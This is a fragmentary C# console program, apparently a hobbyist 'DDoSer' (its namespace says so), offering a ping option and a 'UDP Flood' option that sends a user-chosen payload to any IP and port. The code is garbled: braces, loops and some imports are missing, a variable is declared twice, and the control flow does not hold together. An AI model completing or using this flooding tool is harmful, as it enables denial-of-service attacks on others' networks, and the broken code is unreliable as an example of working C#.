using System.Net.Sockets;
using System.Threading.Tasks;
using System.Net.NetworkInformation;
namespace ddoserforidktbh
static void Main(string[] args)
Console.BackgroundColor = ConsoleColor.Black;
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Welcome to the Chromebook Network Pinger");
Console.WriteLine("----------------------------------------");
Console.WriteLine("1. Type an IP to Ping");
Console.WriteLine("2. Type a Message to UDP Flood (optional)");
Console.WriteLine("-----------------------------------------");
Console.WriteLine("Controls");
Console.WriteLine("--------");
Console.WriteLine("To stop pinging, press Ctrl+C");
Console.WriteLine("-------------------------------------------");
Console.WriteLine("WARNING!");
Console.WriteLine("USE AT YOUR OWN RISK!");
Console.WriteLine("Choose a number:");
string choice = Console.ReadLine();
Console.WriteLine("Enter the IP address to ping:");
string ip = Console.ReadLine();
Console.WriteLine("Enter the IP address for UDP Flooding:");
string ip = Console.ReadLine();
Console.WriteLine("Enter the message/payload to send for UDP Flooding:");
string message = Console.ReadLine();
Console.WriteLine("Enter the port number:");
string portStr = Console.ReadLine();
if (string.IsNullOrEmpty(message))
if (!string.IsNullOrEmpty(message))
if (int.TryParse(portStr, out int port))
SendMessageAsync(ip, message, port);
Console.WriteLine("No message/payload entered.");
Console.WriteLine("Invalid choice.");
static async void PingIPAddressAsync(string ip)
PingReply reply = await ping.SendPingAsync(ip);
if (reply.Status == IPStatus.Success)
Console.WriteLine($":) Pinging {ip} successful. Latency: {reply.RoundtripTime} ms.");
Console.WriteLine($":0 Pinging to {ip} failed: {reply.Status}");
Console.WriteLine($":( Error pinging IP {ip}: {ex.Message}");
static async void SendMessageAsync(string ip, string message, int port)
using (UdpClient udpClient = new UdpClient())
byte[] messageBytes = Encoding.UTF8.GetBytes(message);
await udpClient.SendAsync(messageBytes, messageBytes.Length, ip, port);
Console.WriteLine($":) UDP Flooding {ip}!: {message}");
Console.WriteLine($":( Error UDP Flooding to {ip}: {ex.Message}");